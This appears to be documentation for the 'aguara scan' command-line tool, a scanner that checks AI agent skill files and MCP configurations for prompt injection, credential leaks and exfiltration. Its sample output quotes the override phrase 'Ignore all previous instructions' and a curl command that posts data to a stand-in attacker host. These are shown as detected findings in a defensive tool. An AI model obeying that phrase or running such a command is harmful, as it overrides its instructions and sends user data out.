Skip to main content

​
Overview

The aguara scan command analyzes files and directories for security issues including prompt injections, credential leaks, exfiltration attempts, and more. It runs 177 built-in detection rules across 13 security categories.

​
Usage

aguara scan [path] [flags]

​
Basic Examples

# Scan current directory
aguara scan .

# Scan specific directory
aguara scan ./skills/

# Scan with CI defaults (fail on high+, no color)
aguara scan --ci ./skills/

# JSON output
aguara scan --format json ./skills/ -o results.json

# Only scan changed files in git
aguara scan --changed .

# Enable rug-pull detection
aguara scan --monitor ./skills/

​
Flags

​
path
string
required
Directory or file to scan. Required unless using --auto flag.
​
--auto
boolean
default:"false"
Auto-discover and scan all MCP client configurations. When enabled, no path argument should be provided.
aguara scan --auto
​
--fail-on
string
Exit with code 1 if findings at or above this severity are found.Valid values: critical, high, medium, low
aguara scan . --fail-on high
​
--ci
boolean
default:"false"
CI mode: equivalent to --fail-on high --format terminal --no-color
aguara scan --ci .
​
-v, --verbose
boolean
default:"false"
Show rule descriptions for critical and high severity findings in terminal output.
aguara scan -v .
​
--changed
boolean
default:"false"
Only scan git-changed files (staged, unstaged, untracked). Useful for faster pre-commit scans.
aguara scan --changed .
​
--monitor
boolean
default:"false"
Enable rug-pull detection: tracks file hashes across runs to detect malicious changes in previously scanned files.
aguara scan --monitor .
​
--state-path
string
default:"~/.aguara/state.json"
Path to state file for --monitor mode. Only used when --monitor is enabled.
aguara scan --monitor --state-path ./aguara-state.json .
​
--max-file-size
string
default:"50MB"
Maximum file size to scan. Accepts human-readable sizes (e.g., 50MB, 100MB).Range: 1MB–500MB
aguara scan --max-file-size 100MB .

​
Global Flags (inherited)

These flags are available from the root command:
​
--severity
string
default:"info"
Minimum severity to report.Valid values: critical, high, medium, low, info
aguara scan --severity medium .
​
--format
string
default:"terminal"
Output format.Valid values: terminal, json, sarif, markdown
aguara scan --format json .
​
-o, --output
string
Output file path. If not specified, writes to stdout.
aguara scan --format json -o results.json .
​
--rules
string
Path to custom rules directory. Rules are loaded in addition to built-in rules.
aguara scan --rules ./custom-rules/ .
​
--disable-rule
string[]
Rule IDs to disable (can be specified multiple times).
aguara scan --disable-rule EXFIL_005 --disable-rule CRED_001 .
​
--no-color
boolean
default:"false"
Disable ANSI color output. Also enabled by NO_COLOR environment variable.
aguara scan --no-color .
​
--workers
integer
default:"NumCPU"
Number of concurrent worker threads for scanning.
aguara scan --workers 8 .

​
Output Formats

​
Terminal (default)

Human-readable output with ANSI colors and severity histogram: 
$ aguara scan ./skills/

✗ CRITICAL  PROMPT_INJECTION_001  skills/evil.md:3
  Instruction override attempt
  > Ignore all previous instructions

✗ HIGH      EXFIL_005            skills/webhook.md:12
  Webhook data exfiltration
  > curl -X POST https://attacker.com/exfil

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Scanned 5 files, loaded 148 rules
2 findings: 1 critical, 1 high

​
JSON

Machine-parseable structured output: 
aguara scan --format json .

{
  "findings": [
    {
      "rule_id": "PROMPT_INJECTION_001",
      "rule_name": "Instruction override attempt",
      "severity": 4,
      "category": "prompt-injection",
      "description": "Detects attempts to override previous instructions",
      "file_path": "skills/evil.md",
      "line": 3,
      "column": 0,
      "matched_text": "Ignore all previous instructions",
      "score": 60.0,
      "analyzer": "pattern",
      "in_code_block": false
    }
  ],
  "files_scanned": 5,
  "rules_loaded": 148,
  "duration_ms": 42
}

​
SARIF

GitHub Code Scanning compatible output (SARIF 2.1.0): 
aguara scan --format sarif -o results.sarif .

​
Markdown

Ideal for GitHub Actions job summaries and PR comments: 
aguara scan --format markdown .

​
Exit Codes

CodeMeaning
0No findings above --fail-on threshold (or no --fail-on set)
1Findings at or above --fail-on severity, or any error

​
Auto Mode

The --auto flag enables automatic discovery and scanning of MCP client configurations: 
aguara scan --auto
This will:
  1. Discover all MCP client configs on your machine (17 supported clients)
  2. Scan each configuration file
  3. Aggregate findings across all discovered configs
Note: When using --auto, do not provide a path argument.

​
Incremental Scanning

​
Git-changed files

Scan only modified files in your git repository: 
aguara scan --changed .
This scans:
  • Staged files
  • Unstaged modifications
  • Untracked files

​
Rug-pull detection

Track file hashes across scans to detect malicious modifications: 
aguara scan --monitor .
If a previously scanned file changes and now contains dangerous patterns (instruction overrides, reverse shells, credential exfiltration), Aguara emits a RUGPULL_001 finding with CRITICAL severity. State is stored in ~/.aguara/state.json by default (customize with --state-path).

​
Configuration File

Aguara loads .aguara.yml from the scan target directory (or parent): 
ignore:
  - "vendor/"
  - "node_modules/"
  - "*.log"

severity: info
fail_on: high
format: terminal
rules: custom-rules/

rule_overrides:
  PROMPT_INJECTION_001:
    severity: medium
  EXFIL_005:
    disabled: true
CLI flags override config file values.

​
Detection Capabilities

Aguara runs four analysis engines:
  1. Pattern Matcher: 148+ regex/contains rules across 14 categories
  2. NLP Injection: Markdown AST analysis for hidden instructions
  3. Toxic Flow: Taint tracking (user input → dangerous sinks)
  4. Rug-Pull: Hash-based change detection (requires --monitor)

​
Rule Categories

  • prompt-injection (22 rules)
  • credential-leak (19 rules)
  • exfiltration (17 rules)
  • external-download (17 rules)
  • supply-chain (15 rules)
  • command-execution (16 rules)
  • mcp-attack (12 rules)
  • ssrf-cloud (10 rules)
  • mcp-config (8 rules)
  • unicode-attack (7 rules)
  • indirect-injection (6 rules)
  • third-party-content (5 rules)
  • toxic-flow (3 rules)
  • rug-pull (1 rule)
See list-rules for the complete rule set.

​
Performance Tips

  1. Use .aguaraignore to skip large directories: 
    vendor/
node_modules/
.venv/
dist/
  2. Scan only changed files during development: 
    aguara scan --changed .
  3. Adjust worker threads for large codebases: 
    aguara scan --workers 16 .
  4. Increase max file size if needed: 
    aguara scan --max-file-size 100MB .

​
CI/CD Integration

​
GitHub Actions

- name: Run Aguara scan
  run: aguara scan --ci --format sarif -o results.sarif .

- name: Upload SARIF results
  uses: github/codeql-action/upload-sarif@v3
  with:
    sarif_file: results.sarif

​
GitLab CI

security-scan:
  script:
    - aguara scan --ci --format json -o gl-sast-report.json .
  artifacts:
    reports:
      sast: gl-sast-report.json

​
Pre-commit Hook

#!/bin/sh
aguara scan --changed --fail-on high --no-color
Or use aguara init --hook to generate automatically.

Build docs developers (and LLMs) love

Get started for freeTalk to us